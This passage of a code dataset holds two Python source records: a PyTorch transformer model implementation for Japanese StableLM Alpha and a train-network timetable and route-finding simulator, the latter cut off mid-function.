+{"seq_id":"36532840668","text":"from typing import Optional, Tuple, Union\n\nimport torch\nimport torch.utils.checkpoint\nfrom torch import nn\nfrom torch.nn import CrossEntropyLoss\nfrom transformers.modeling_outputs import (BaseModelOutputWithPast,\n CausalLMOutputWithPast)\nfrom transformers.modeling_utils import PreTrainedModel\nfrom transformers.utils import logging\n\nfrom .configuration_japanese_stablelm_alpha import JapaneseStableLMAlphaConfig\n\nlogger = logging.get_logger(__name__)\n\n\nclass JapaneseStableLMAlphaPreTrainedModel(PreTrainedModel):\n \"\"\"\n An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained\n models.\n \"\"\"\n\n config_class = JapaneseStableLMAlphaConfig\n base_model_prefix = \"transformer\"\n supports_gradient_checkpointing = True\n _no_split_modules = [\"DecoderLayer\"]\n _skip_keys_device_placement = \"past_key_values\"\n\n def _init_weights(self, module):\n \"\"\"Initialize the weights\"\"\"\n if isinstance(module, nn.Linear):\n module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)\n if module.bias is not None:\n module.bias.data.zero_()\n elif isinstance(module, nn.Embedding):\n module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)\n if module.padding_idx is not None:\n module.weight.data[module.padding_idx].zero_()\n elif isinstance(module, nn.LayerNorm):\n if module.bias is not None:\n module.bias.data.zero_()\n if module.weight is not None:\n module.weight.data.fill_(1.0)\n\n def _set_gradient_checkpointing(self, module, value=False):\n if isinstance(module, JapaneseStableLMAlphaModel):\n module.gradient_checkpointing = value\n\n\nclass JapaneseStableLMAlphaModel(JapaneseStableLMAlphaPreTrainedModel):\n def __init__(self, config):\n super().__init__(config)\n self.config = config\n\n self.embed_in = nn.Embedding(config.vocab_size, config.hidden_size)\n self.layers = nn.ModuleList(\n [DecoderLayer(config) for _ in range(config.num_hidden_layers)]\n )\n self.final_layer_norm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n\n self.gradient_checkpointing = False\n\n # Initialize weights and apply final processing\n self.post_init()\n\n def get_input_embeddings(self):\n return self.embed_in\n\n def set_input_embeddings(self, value):\n self.embed_in = value\n\n def forward(\n self,\n input_ids: Optional[torch.LongTensor] = None,\n attention_mask: Optional[torch.FloatTensor] = None,\n position_ids: Optional[torch.LongTensor] = None,\n head_mask: Optional[torch.FloatTensor] = None,\n inputs_embeds: Optional[torch.FloatTensor] = None,\n past_key_values: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,\n use_cache: Optional[bool] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ) -> Union[Tuple, BaseModelOutputWithPast]:\n r\"\"\"\n past_key_values (`tuple(tuple(torch.FloatTensor))` of length `config.n_layers` with each tuple having 4 tensors of shape `(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):\n Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.\n If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that\n don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all\n `decoder_input_ids` of shape `(batch_size, sequence_length)`.\n use_cache (`bool`, *optional*):\n If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see\n `past_key_values`).\n \"\"\"\n output_attentions = (\n output_attentions if output_attentions is not None else self.config.output_attentions\n )\n output_hidden_states = (\n output_hidden_states\n if output_hidden_states is not None\n else self.config.output_hidden_states\n )\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n use_cache = use_cache if use_cache is not None else self.config.use_cache\n\n if input_ids is not None and inputs_embeds is not None:\n raise ValueError(\n \"You cannot specify both input_ids and inputs_embeds at the same time\"\n )\n elif input_ids is not None:\n input_shape = input_ids.size()\n elif inputs_embeds is not None:\n input_shape = inputs_embeds.size()[:-1]\n else:\n raise ValueError(\"You have to specify either input_ids or inputs_embeds\")\n\n batch_size, seq_length = input_shape\n\n if past_key_values is None:\n past_length = 0\n past_key_values = tuple([None] * self.config.num_hidden_layers)\n else:\n past_length = past_key_values[0][0].size(-2)\n\n if position_ids is None:\n device = input_ids.device if input_ids is not None else inputs_embeds.device\n position_ids = torch.arange(\n past_length, seq_length + past_length, dtype=torch.long, device=device\n )\n position_ids = position_ids.unsqueeze(0).view(-1, seq_length)\n else:\n position_ids = position_ids.view(-1, seq_length).long()\n\n # Attention mask.\n if attention_mask is not None:\n assert batch_size > 0, \"batch_size has to be defined and > 0\"\n attention_mask = attention_mask.view(batch_size, -1)\n # We create a 3D attention mask from a 2D tensor mask.\n # Sizes are [batch_size, 1, 1, to_seq_length]\n # So we can broadcast to [batch_size, num_heads, from_seq_length, to_seq_length]\n # this attention mask is more simple than the triangular masking of causal attention\n # used in OpenAI GPT, we just need to prepare the broadcast dimension here.\n attention_mask = attention_mask[:, None, None, :]\n\n # Since attention_mask is 1.0 for positions we want to attend and 0.0 for\n # masked positions, this operation will create a tensor which is 0.0 for\n # positions we want to attend and the dtype's smallest value for masked positions.\n # Since we are adding it to the raw scores before the softmax, this is\n # effectively the same as removing these entirely.\n attention_mask = attention_mask.to(dtype=self.dtype) # fp16 compatibility\n attention_mask = (1.0 - attention_mask) * torch.finfo(self.dtype).min\n\n # Prepare head mask if needed\n # 1.0 in head_mask indicate we keep the head\n # attention_probs has shape bsz x n_heads x N x N\n # input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]\n # and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]\n head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)\n\n if inputs_embeds is None:\n inputs_embeds = self.embed_in(input_ids)\n\n hidden_states = inputs_embeds\n\n if self.gradient_checkpointing and self.training:\n if use_cache:\n logger.warning(\n \"`use_cache=True` is incompatible with gradient checkpointing. Setting `use_cache=False`...\"\n )\n use_cache = False\n\n presents = () if use_cache else None\n all_attentions = () if output_attentions else None\n all_hidden_states = () if output_hidden_states else None\n for i, (layer, layer_past) in enumerate(zip(self.layers, past_key_values)):\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states,)\n\n if self.gradient_checkpointing and self.training:\n\n def create_custom_forward(module):\n def custom_forward(*inputs):\n # None for layer_past\n return module(*inputs, use_cache, None, output_attentions)\n\n return custom_forward\n\n outputs = torch.utils.checkpoint.checkpoint(\n create_custom_forward(layer),\n hidden_states,\n attention_mask,\n position_ids,\n head_mask[i],\n )\n else:\n outputs = layer(\n hidden_states,\n attention_mask=attention_mask,\n position_ids=position_ids,\n head_mask=head_mask[i],\n layer_past=layer_past,\n use_cache=use_cache,\n output_attentions=output_attentions,\n )\n hidden_states = outputs[0]\n if use_cache is True:\n presents = presents + (outputs[1],)\n if output_attentions:\n all_attentions = all_attentions + (outputs[2 if use_cache else 1],)\n\n hidden_states = self.final_layer_norm(hidden_states)\n # Add last hidden state\n if output_hidden_states:\n all_hidden_states = all_hidden_states + (hidden_states,)\n\n if not return_dict:\n return tuple(\n v\n for v in [hidden_states, presents, all_hidden_states, all_attentions]\n if v is not None\n )\n\n return BaseModelOutputWithPast(\n last_hidden_state=hidden_states,\n past_key_values=presents,\n hidden_states=all_hidden_states,\n attentions=all_attentions,\n )\n\n\nclass DecoderLayer(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.use_parallel_residual = config.use_parallel_residual\n self.input_layernorm = nn.LayerNorm(\n config.hidden_size,\n eps=config.layer_norm_eps,\n elementwise_affine=False,\n )\n self.post_attention_layernorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)\n self.attention = Attention(config)\n self.mlp = MLP(config)\n\n def forward(\n self,\n hidden_states: Optional[torch.FloatTensor],\n attention_mask: Optional[torch.FloatTensor] = None,\n position_ids: Optional[torch.LongTensor] = None,\n head_mask: Optional[torch.FloatTensor] = None,\n use_cache: Optional[bool] = False,\n layer_past: Optional[Tuple[torch.Tensor]] = None,\n output_attentions: Optional[bool] = False,\n ):\n attention_layer_outputs = self.attention(\n self.input_layernorm(hidden_states),\n attention_mask=attention_mask,\n position_ids=position_ids,\n layer_past=layer_past,\n head_mask=head_mask,\n use_cache=use_cache,\n output_attentions=output_attentions,\n )\n attn_output = attention_layer_outputs[\n 0\n ] # output_attn: attn_output, present, (attn_weights)\n outputs = attention_layer_outputs[1:]\n\n mlp_output = self.mlp(self.post_attention_layernorm(hidden_states))\n hidden_states = hidden_states + mlp_output + attn_output\n\n if use_cache:\n outputs = (hidden_states,) + outputs # hidden_states, present, (attn_weights)\n else:\n outputs = (hidden_states,) + outputs[1:] # hidden_states, (attn_weights)\n\n return outputs\n\n\nclass MLP(nn.Module):\n def __init__(self, config: JapaneseStableLMAlphaConfig):\n super().__init__()\n hidden_size = config.hidden_size\n multiple_of = 256\n ff_dim = int(8 * hidden_size / 3)\n intermediate_size = multiple_of * ((ff_dim + multiple_of - 1) // multiple_of)\n\n self.packed_input_proj = torch.nn.Linear(hidden_size, 2 * intermediate_size, bias=False)\n self.out_proj = nn.Linear(intermediate_size, hidden_size, bias=False)\n self.act = nn.SiLU()\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n ff, ff_gate = self.packed_input_proj(x).chunk(2, dim=-1)\n return self.out_proj(ff * self.act(ff_gate))\n\n\nclass RotaryEmbedding(torch.nn.Module):\n \"\"\"Based on Tri Dao's XPos: https://github.com/HazyResearch/flash-attention/blob/main/flash_attn/layers/rotary.py\"\"\"\n\n def __init__(\n self,\n dim: int,\n max_position_embeddings: int,\n base: int = 10_000,\n scale_base: int = 512,\n device: str = None,\n ):\n super().__init__()\n self.dim = dim\n self.seq_len_cached = max_position_embeddings\n\n # Set up `inv_freq` term\n inv_freq = 1.0 / (\n base ** (torch.arange(0, dim, 2, device=device, dtype=torch.float32) / dim)\n )\n self.register_buffer(\"inv_freq\", inv_freq)\n\n # Set up `scale` term\n self.scale_base = scale_base\n scale = (\n (torch.arange(0, dim, 2, device=device, dtype=torch.float32) + 0.4 * dim) / (1.4 * dim)\n if scale_base is not None\n else None\n )\n self.register_buffer(\"scale\", scale)\n\n # Seet up `cos..` and `sin...` cache terms\n t = torch.arange(self.seq_len_cached, device=device, dtype=torch.float32)\n freqs = torch.outer(t, self.inv_freq)\n # freqs = torch.cat((freqs, freqs), dim=-1)\n seq_range = torch.arange(\n self.seq_len_cached, dtype=self.scale.dtype, device=self.scale.device\n )\n power = (seq_range - self.seq_len_cached // 2) / self.scale_base\n scale_cached = self.scale.to(device=power.device) ** power.unsqueeze(-1)\n # scale_cached = torch.cat((scale_cached, scale_cached), dim=-1)\n self.register_buffer(\"cos_cached\", torch.cos(freqs) * scale_cached, persistent=False)\n self.register_buffer(\"sin_cached\", torch.sin(freqs) * scale_cached, persistent=False)\n self.register_buffer(\"cos_k_cached\", torch.cos(freqs) / scale_cached, persistent=False)\n self.register_buffer(\"sin_k_cached\", torch.sin(freqs) / scale_cached, persistent=False)\n\n def forward(self, x, seq_len=None):\n if seq_len > self.seq_len_cached:\n self.seq_len_cached = seq_len\n t = torch.arange(seq_len, device=x.device, dtype=torch.float32)\n freqs = torch.outer(t, self.inv_freq)\n freqs = torch.cat((freqs, freqs), dim=-1)\n seq_range = torch.arange(\n self.seq_len_cached, dtype=self.scale.dtype, device=self.scale.device\n )\n power = (seq_range - self.seq_len_cached // 2) / self.scale_base\n scale_cached = self.scale.to(device=power.device) ** power.unsqueeze(-1)\n scale_cached = torch.cat((scale_cached, scale_cached), dim=-1)\n self.register_buffer(\"cos_cached\", torch.cos(freqs) * scale_cached, persistent=False)\n self.register_buffer(\"sin_cached\", torch.sin(freqs) * scale_cached, persistent=False)\n self.register_buffer(\"cos_k_cached\", torch.cos(freqs) / scale_cached, persistent=False)\n self.register_buffer(\"sin_k_cached\", torch.sin(freqs) / scale_cached, persistent=False)\n return (\n self.cos_cached[:seq_len, ...],\n self.sin_cached[:seq_len, ...],\n self.cos_k_cached[:seq_len, ...],\n self.sin_k_cached[:seq_len, ...],\n )\n\n\ndef rotate_half(x):\n x1, x2 = x.chunk(2, dim=-1)\n return torch.cat((-x2, x1), dim=-1)\n\n\ndef apply_rotary_pos_emb(q, k, cos, sin, position_ids, cos_k=None, sin_k=None):\n \"\"\"\n q, k: [bs, num_heads, seq_len, rot_dim]\n cos, sin: [seq_len, rot_dim / 2]\n position_ids: [bs, seq_len]\n \"\"\"\n # print(f\"q: {q.shape}, k: {k.shape}, cos: {cos.shape}, sin: {sin.shape}, position_ids: {position_ids.shape}\")\n import einops\n\n cos = einops.repeat(cos, \"s r -> s (2 r)\")\n sin = einops.repeat(sin, \"s r -> s (2 r)\")\n cos_k = einops.repeat(cos_k, \"s r -> s (2 r)\")\n sin_k = einops.repeat(sin_k, \"s r -> s (2 r)\")\n cos = cos[position_ids].unsqueeze(1) # [bs, 1, seq_len, rot_dim]\n sin = sin[position_ids].unsqueeze(1) # [bs, 1, seq_len, rot_dim]\n cos_k = cos_k[position_ids].unsqueeze(1) # [bs, 1, seq_len, rot_dim]\n sin_k = sin_k[position_ids].unsqueeze(1) # [bs, 1, seq_len, rot_dim]\n\n q_embed = (q * cos) + (rotate_half(q) * sin)\n k_embed = (k * cos_k) + (rotate_half(k) * sin_k)\n return q_embed, k_embed\n\n\nclass Attention(nn.Module):\n def __init__(self, config):\n super().__init__()\n self.num_attention_heads = config.num_attention_heads\n self.hidden_size = config.hidden_size\n if self.hidden_size % self.num_attention_heads != 0:\n raise ValueError(\n \"The hidden size is not divisble by the number of attention heads! Make sure to update them\"\n )\n self.head_size = self.hidden_size // self.num_attention_heads\n\n max_positions = config.max_position_embeddings\n self.register_buffer(\n \"bias\",\n torch.tril(torch.ones((max_positions, max_positions), dtype=torch.bool)).view(\n 1, 1, max_positions, max_positions\n ),\n persistent=False,\n )\n self.register_buffer(\"masked_bias\", torch.tensor(-1e9), persistent=False)\n\n self.rotary_ndims = int(self.head_size * config.rotary_pct)\n self.rotary_emb = RotaryEmbedding(\n self.rotary_ndims,\n max_position_embeddings=config.max_position_embeddings,\n base=config.rotary_emb_base,\n scale_base=config.rotary_scale_base,\n )\n\n self.register_buffer(\n \"norm_factor\",\n torch.sqrt(torch.tensor(self.head_size, dtype=torch.float32)).to(\n torch.get_default_dtype()\n ),\n persistent=False,\n )\n\n self.query_key_value = nn.Linear(self.hidden_size, 3 * self.hidden_size, bias=False)\n self.dense = nn.Linear(self.hidden_size, self.hidden_size, bias=False)\n\n def forward(\n self,\n hidden_states: torch.FloatTensor,\n attention_mask: torch.FloatTensor,\n position_ids: torch.LongTensor,\n head_mask: Optional[torch.FloatTensor] = None,\n layer_past: Optional[Tuple[torch.Tensor]] = None,\n use_cache: Optional[bool] = False,\n output_attentions: Optional[bool] = False,\n ):\n has_layer_past = layer_past is not None\n\n # Compute QKV\n # Attention heads [batch, seq_len, hidden_size]\n # --> [batch, seq_len, (np * 3 * head_size)]\n qkv = self.query_key_value(hidden_states)\n\n # [batch, seq_len, (num_heads * 3 * head_size)]\n # --> [batch, seq_len, num_heads, 3 * head_size]\n new_qkv_shape = qkv.size()[:-1] + (self.num_attention_heads, 3 * self.head_size)\n qkv = qkv.view(*new_qkv_shape)\n\n # [batch, seq_len, num_attention_heads, 3 * head_size] --> 3 [batch, num_attention_heads, seq_len, head_size]\n query = qkv[..., : self.head_size].permute(0, 2, 1, 3)\n key = qkv[..., self.head_size : 2 * self.head_size].permute(0, 2, 1, 3)\n value = qkv[..., 2 * self.head_size :].permute(0, 2, 1, 3)\n\n # Compute rotary embeddings on rotary_ndims\n query_rot = query[..., : self.rotary_ndims]\n query_pass = query[..., self.rotary_ndims :]\n key_rot = key[..., : self.rotary_ndims]\n key_pass = key[..., self.rotary_ndims :]\n\n # Compute token offset for rotary embeddings (when decoding)\n kv_seq_len = key.shape[-2]\n if has_layer_past:\n kv_seq_len += layer_past[0].shape[-2]\n\n # Add rotary embeddings to query and key\n # TODO: Check if using xpos\n cos, sin, cos_k, sin_k = self.rotary_emb(value, seq_len=kv_seq_len)\n query, key = apply_rotary_pos_emb(\n query_rot, key_rot, cos, sin, position_ids, cos_k=cos_k, sin_k=sin_k\n )\n\n query = torch.cat((query, query_pass), dim=-1)\n key = torch.cat((key, key_pass), dim=-1)\n\n # Cache QKV values\n if has_layer_past:\n past_key = layer_past[0]\n past_value = layer_past[1]\n key = torch.cat((past_key, key), dim=-2)\n value = torch.cat((past_value, value), dim=-2)\n present = (key, value) if use_cache else None\n\n # Compute attention\n attn_output, attn_weights = self._attn(query, key, value, attention_mask, head_mask)\n\n # Merge attn_head_size dim and num_attn_heads dim into hidden dim\n # [bs, seq_len, num_attention_heads, attn_head_size]\n attn_output = attn_output.permute(0, 2, 1, 3).contiguous()\n attn_output = attn_output.view(\n attn_output.size(0), attn_output.size(1), self.num_attention_heads * self.head_size\n )\n\n attn_output = self.dense(attn_output)\n\n outputs = (attn_output, present)\n if output_attentions:\n outputs += (attn_weights,)\n\n return outputs\n\n def _attn(self, query, key, value, attention_mask=None, head_mask=None):\n # q, k, v: [bs, num_attention_heads, seq_len, attn_head_size]\n # compute causal mask from causal mask buffer\n\n batch_size, num_attention_heads, query_length, attn_head_size = query.size()\n key_length = key.size(-2)\n\n causal_mask = self.bias[:, :, key_length - query_length : key_length, :key_length]\n\n query = query.view(batch_size * num_attention_heads, query_length, attn_head_size)\n key = key.view(batch_size * num_attention_heads, key_length, attn_head_size)\n attn_scores = torch.zeros(\n batch_size * num_attention_heads,\n query_length,\n key_length,\n dtype=query.dtype,\n device=key.device,\n )\n attn_scores = torch.baddbmm(\n attn_scores,\n query,\n key.transpose(1, 2),\n beta=1.0,\n alpha=(\n torch.tensor(1.0, dtype=self.norm_factor.dtype, device=self.norm_factor.device)\n / self.norm_factor\n ),\n )\n attn_scores = attn_scores.view(batch_size, num_attention_heads, query_length, key_length)\n\n mask_value = torch.finfo(attn_scores.dtype).min\n # Need to be a tensor, otherwise we get error: `RuntimeError: expected scalar type float but found double`.\n # Need to be on the same device, otherwise `RuntimeError: ..., x and y to be on the same device`\n mask_value = torch.tensor(mask_value, dtype=attn_scores.dtype, device=attn_scores.device)\n attn_scores = torch.where(causal_mask, attn_scores, mask_value)\n\n if attention_mask is not None:\n # Apply the attention mask\n attn_scores = attn_scores + attention_mask\n\n # NOTE: Upcast to float32\n attn_weights = nn.functional.softmax(attn_scores, dim=-1, dtype=torch.float32).type_as(\n value\n )\n\n # Mask heads if we want to\n if head_mask is not None:\n attn_weights = attn_weights * head_mask\n\n attn_output = torch.matmul(attn_weights, value)\n return attn_output, attn_weights\n\n\ndef attention_mask_func(attention_scores, ltor_mask):\n attention_scores.masked_fill_(~ltor_mask, torch.finfo(attention_scores.dtype).min)\n return attention_scores\n\n\nclass JapaneseStableLMAlphaForCausalLM(JapaneseStableLMAlphaPreTrainedModel):\n _tied_weights_keys = [\"embed_out.weight\"]\n\n def __init__(self, config):\n super().__init__(config)\n\n self.transformer = JapaneseStableLMAlphaModel(config)\n self.embed_out = nn.Linear(config.hidden_size, config.vocab_size, bias=False)\n\n # Initialize weights and apply final processing\n self.post_init()\n\n def get_output_embeddings(self):\n return self.embed_out\n\n def set_output_embeddings(self, new_embeddings):\n self.embed_out = new_embeddings\n\n def forward(\n self,\n input_ids: Optional[torch.LongTensor] = None,\n attention_mask: Optional[torch.FloatTensor] = None,\n position_ids: Optional[torch.LongTensor] = None,\n inputs_embeds: Optional[torch.FloatTensor] = None,\n head_mask: Optional[torch.FloatTensor] = None,\n past_key_values: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,\n labels: Optional[torch.LongTensor] = None,\n use_cache: Optional[bool] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ) -> Union[Tuple, CausalLMOutputWithPast]:\n r\"\"\"\n Example:\n\n ```python\n >>> import torch\n >>> from transformers import LlamaTokenizer, JapaneseStableLMAlphaForCausalLM, JapaneseStableLMAlphaConfig\n\n >>> tokenizer = LlamaTokenizer.from_pretrained(\"novelai/nerdstash-tokenizer-v1\")\n >>> config = JapaneseStableLMAlphaConfig.from_pretrained(\"stabilityai/stablelm-ja-base-alpha-7b\")\n >>> config.is_decoder = True\n >>> model = JapaneseStableLMAlphaForCausalLM.from_pretrained(\"stabilityai/stablelm-ja-base-alpha-7b\", config=config, trust_remote_code=True)\n\n >>> inputs = tokenizer(\"日本語の美しいところは、\", return_tensors=\"pt\")\n >>> outputs = model(**inputs)\n\n >>> prediction_logits = outputs.logits\n ```\"\"\"\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n outputs = self.transformer(\n input_ids,\n attention_mask=attention_mask,\n position_ids=position_ids,\n head_mask=head_mask,\n inputs_embeds=inputs_embeds,\n past_key_values=past_key_values,\n use_cache=use_cache,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n\n hidden_states = outputs[0]\n lm_logits = self.embed_out(hidden_states)\n\n lm_loss = None\n if labels is not None:\n # move labels to correct device to enable model parallelism\n labels = labels.to(lm_logits.device)\n # we are doing next-token prediction; shift prediction scores and input ids by one\n shift_logits = lm_logits[:, :-1, :].contiguous()\n labels = labels[:, 1:].contiguous()\n loss_fct = CrossEntropyLoss()\n lm_loss = loss_fct(shift_logits.view(-1, shift_logits.size(-1)), labels.view(-1))\n\n if not return_dict:\n output = (lm_logits,) + outputs[1:]\n return ((lm_loss,) + output) if lm_loss is not None else output\n\n return CausalLMOutputWithPast(\n loss=lm_loss,\n logits=lm_logits,\n past_key_values=outputs.past_key_values,\n hidden_states=outputs.hidden_states,\n attentions=outputs.attentions,\n )\n\n def prepare_inputs_for_generation(\n self, input_ids, past_key_values=None, attention_mask=None, inputs_embeds=None, **kwargs\n ):\n input_shape = input_ids.shape\n\n # cut decoder_input_ids if past is used\n if past_key_values and past_key_values[0] is not None:\n input_ids = input_ids[:, -1:]\n\n position_ids = kwargs.get(\"position_ids\", None)\n if attention_mask is not None and position_ids is None:\n # create position_ids on the fly for batch generation\n position_ids = attention_mask.long().cumsum(-1) - 1\n position_ids.masked_fill_(attention_mask == 0, 1)\n if past_key_values:\n position_ids = position_ids[:, -1].unsqueeze(-1)\n\n # if model is used as a decoder in encoder-decoder model, the decoder attention mask is created on the fly\n if attention_mask is None:\n attention_mask = input_ids.new_ones(input_shape)\n\n # if `inputs_embeds` are passed, we only want to use them in the 1st generation step\n if inputs_embeds is not None and past_key_values is None:\n model_inputs = {\"inputs_embeds\": inputs_embeds}\n else:\n model_inputs = {\"input_ids\": input_ids}\n\n model_inputs.update(\n {\n \"attention_mask\": attention_mask,\n \"past_key_values\": past_key_values,\n \"position_ids\": position_ids,\n }\n )\n\n return model_inputs\n\n def _reorder_cache(self, past_key_values, beam_idx):\n reordered_past = ()\n for layer_past in past_key_values:\n reordered_past += (\n tuple(past_state.index_select(0, beam_idx) for past_state in layer_past[:2])\n + layer_past[2:],\n )\n return reordered_past\n","repo_name":"turingmotors/heron","sub_path":"heron/models/git_llm/git_japanese_stablelm_alpha/modeling_japanese_stablelm_alpha.py","file_name":"modeling_japanese_stablelm_alpha.py","file_ext":"py","file_size_in_byte":29006,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"68"}
+{"seq_id":"11385706467","text":"import datetime\nfrom collections import defaultdict\nfrom trainsimulator.util import sort_time, verify_time_format, convert_to_datetime, convert_to_timedelta\nfrom trainsimulator.exception import (\n InvalidTimeTable, InvalidNetwork, InvalidStation, InvalidTimeFormat)\n\n\ndef time_span_decorator(func):\n def wrapper(*args):\n time_sequence = args[1]\n duration = args[2]\n arrival_time = args[3]\n time_sequence = convert_to_datetime(time_sequence)\n duration = convert_to_timedelta(duration)\n arrival_time = convert_to_datetime(arrival_time)\n\n return func(args[0], time_sequence, duration, arrival_time)\n\n return wrapper\n\n\nclass Journey(object):\n \"\"\"\n This class defines the connection between two nodes in the network as Journey, and stores the timetable information\n such as departure time and duration.\n \n Note: self._timetable is a dictionary in the format of departure_time: [duration]\n \"\"\"\n\n def __init__(self, start_station, end_station):\n self._start_station = start_station\n self._end_station = end_station\n self._timetable = {}\n self._departure_time = None\n\n @property\n def timetable(self):\n return self._timetable\n\n @timetable.setter\n def timetable(self, time_table):\n self._timetable = self._uniformat_timetable(time_table)\n\n @property\n def duration(self):\n return self.timetable['duration']\n\n @property\n def start_station(self):\n return self._start_station\n\n @property\n def end_station(self):\n return self._end_station\n\n @property\n def departure_time(self):\n if self._departure_time is None:\n self._departure_time = self._extract_departure_time()\n\n return self._departure_time\n\n def arrival_time(self, departure_time):\n if departure_time not in self.timetable.get('departure_time'):\n return\n duration = self.timetable['duration']\n departure_time_stamp = datetime.datetime.strptime(departure_time, '%H:%M')\n duration_hour, duration_min = duration.split(':')\n duration_time_stamp = datetime.timedelta(hours=int(duration_hour), minutes=int(duration_min))\n arrival_time = (departure_time_stamp + duration_time_stamp).strftime('%H:%M')\n return datetime.datetime.strptime(arrival_time, '%H:%M')\n\n def _extract_departure_time(self):\n return self.timetable['departure_time']\n\n def departure_arrival_time_table(self):\n time_table = [(departure_time, self.arrival_time(departure_time).strftime('%H:%M'))\n for departure_time in self.departure_time]\n return time_table\n\n def _uniform_time_format(self, time_str):\n if not time_str or not verify_time_format(time_str):\n return None\n\n hour, minute = time_str.split(':')\n new_format = ['0' + i if len(i) == 1 else i for i in [hour, minute]]\n return ':'.join(new_format)\n\n def _uniformat_timetable(self, time_table):\n sanitized_time_format = []\n if time_table.get('departure_time') and time_table.get('duration'):\n for time_stamp in time_table['departure_time']:\n if isinstance(time_stamp, str):\n sanitized_time_ = self._uniform_time_format(time_stamp)\n if sanitized_time_:\n sanitized_time_format.append(sanitized_time_)\n else:\n raise InvalidTimeFormat\n else:\n raise InvalidTimeFormat\n time_table['departure_time'] = sanitized_time_format\n return time_table\n else:\n raise InvalidTimeTable\n\n\nclass TrainNetwork(object):\n def __init__(self):\n \"\"\"\n This class defines the train network, and it has the methods to find all the paths, time table, shortest journey\n from one station to another, \n self.journey is the list of dictionary with format {'start_station': [journey_instances]}\n \"\"\"\n self.journey = defaultdict(list)\n self.all_station = set()\n\n def _journey_instance(self, start_station):\n if start_station not in self.journey:\n return\n\n return self.journey[start_station]\n\n def journey_duration(self, start_station, end_station):\n journey_instance = [i for i in self._journey_instance(start_station) if i.end_station == end_station]\n return journey_instance[0].duration if journey_instance else None\n\n def build_network_from_nodes(self, nodes):\n \"\"\"\n This method builds the network from a node/nodes with the format start_station, end_station, time_table\n \n :param nodes: list of tuples\n :return: \n \"\"\"\n try:\n if not nodes:\n raise ValueError\n\n self.all_station = set()\n for node in nodes:\n start_station, end_station, time_table = node\n journey = Journey(start_station, end_station)\n if time_table:\n journey.timetable = time_table\n self.journey[start_station].append(journey)\n self.all_station.update({start_station, end_station})\n except (ValueError, InvalidTimeTable):\n print('Invalid nodes, quit')\n raise InvalidNetwork\n\n def build_network_from_journey(self, journeys):\n \"\"\"\n This method builds the network from a list of Journey instance\n :param journeys: list of Journey instances\n :return: \n \"\"\"\n self.all_station = set()\n\n for journey in journeys:\n self.journey[journey.start_station].append(journey)\n self.all_station.update({journey.start_station, journey.end_station})\n\n def _find_next_station(self, start_station):\n if start_station not in self.journey:\n return\n journey_instances = self.journey[start_station]\n\n end_stations = [journey_instance.end_station for journey_instance in journey_instances]\n return end_stations\n\n def _arrival_time_before_departure_time(self, arrival_time, departure_time):\n time_sequence = []\n for time_stamp in [arrival_time, departure_time]:\n if isinstance(time_stamp, str) and verify_time_format(time_stamp):\n time_sequence.append(datetime.datetime.strptime(time_stamp, '%H:%M'))\n continue\n\n if isinstance(time_stamp, datetime.datetime):\n time_sequence.append(time_stamp)\n\n if len(time_sequence) == 2:\n time_difference = time_sequence[0] - time_sequence[1]\n return time_difference < datetime.timedelta(minutes=0)\n else:\n raise InvalidTimeFormat\n\n def _is_departure_station(self, station_name):\n return station_name in self.journey\n\n def _find_available_paths(self, start_station, end_station, result, results):\n \"\"\"\n This is recursive method is to find all the paths between any two stations\n :param start_station: str\n :param end_station: str\n :param result: initial value of this recursive function, which is the reference pointing to the \n initial value [start_station]\n :param results: reference to a list which stores the result\n :return: \n \"\"\"\n next_station = self._find_next_station(start_station)\n if not result or not next_station:\n return None\n\n for i in next_station:\n\n if i in result:\n continue\n if i == end_station:\n results.append(result + [i])\n continue\n result.append(i)\n temp_result = self._find_available_paths(i, end_station, result, results)\n if not temp_result:\n result.pop()\n continue\n result = temp_result\n return result[:-1]\n\n def all_valid_journey(self, start_station, end_station):\n \"\"\"\n This method is to generate all the paths from any start station to any end station, which is the \n wrapper of self._find_available_paths method\n \n :param start_station: str\n :param end_station: str\n :return: list of paths\n \"\"\"\n if start_station not in self.all_station or end_station not in self.all_station:\n raise InvalidStation\n\n result = [start_station]\n results = []\n self._find_available_paths(start_station, end_station, result, results)\n return results\n\n def _departure_arrival_time_table(self, start_station, end_station):\n if start_station not in self.journey:\n return\n for journey in self.journey[start_station]:\n if journey.end_station == end_station:\n return journey.departure_arrival_time_table()\n\n def _time_table_from_route(self, route):\n \"\"\"\n This method is to generate the timetable of the route\n :param route: list of station name, e.g ['A', 'B', 'E']\n :return: timetable \n \"\"\"\n trip_time_table = []\n for index, start_stop in enumerate(route[:-1]):\n next_stop = route[index + 1]\n\n time_table = self._departure_arrival_time_table(start_stop, next_stop)\n trip_time_table.append(dict(time_table))\n\n return trip_time_table\n\n def _earliest_departure_time(self, arrival_time, next_stop_timetable):\n \"\"\"\n This method is to find the earliest departure time to the next city after the train arrives the current city\n :param arrival_time: \n :param next_stop_timetable: \n :return: earliest departure time to the next city\n \"\"\"\n earliest_departure_time_ = None\n next_stop_departure_time = sort_time(list(next_stop_timetable.keys()))\n for departure_time in next_stop_departure_time:\n if self._arrival_time_before_departure_time(arrival_time, 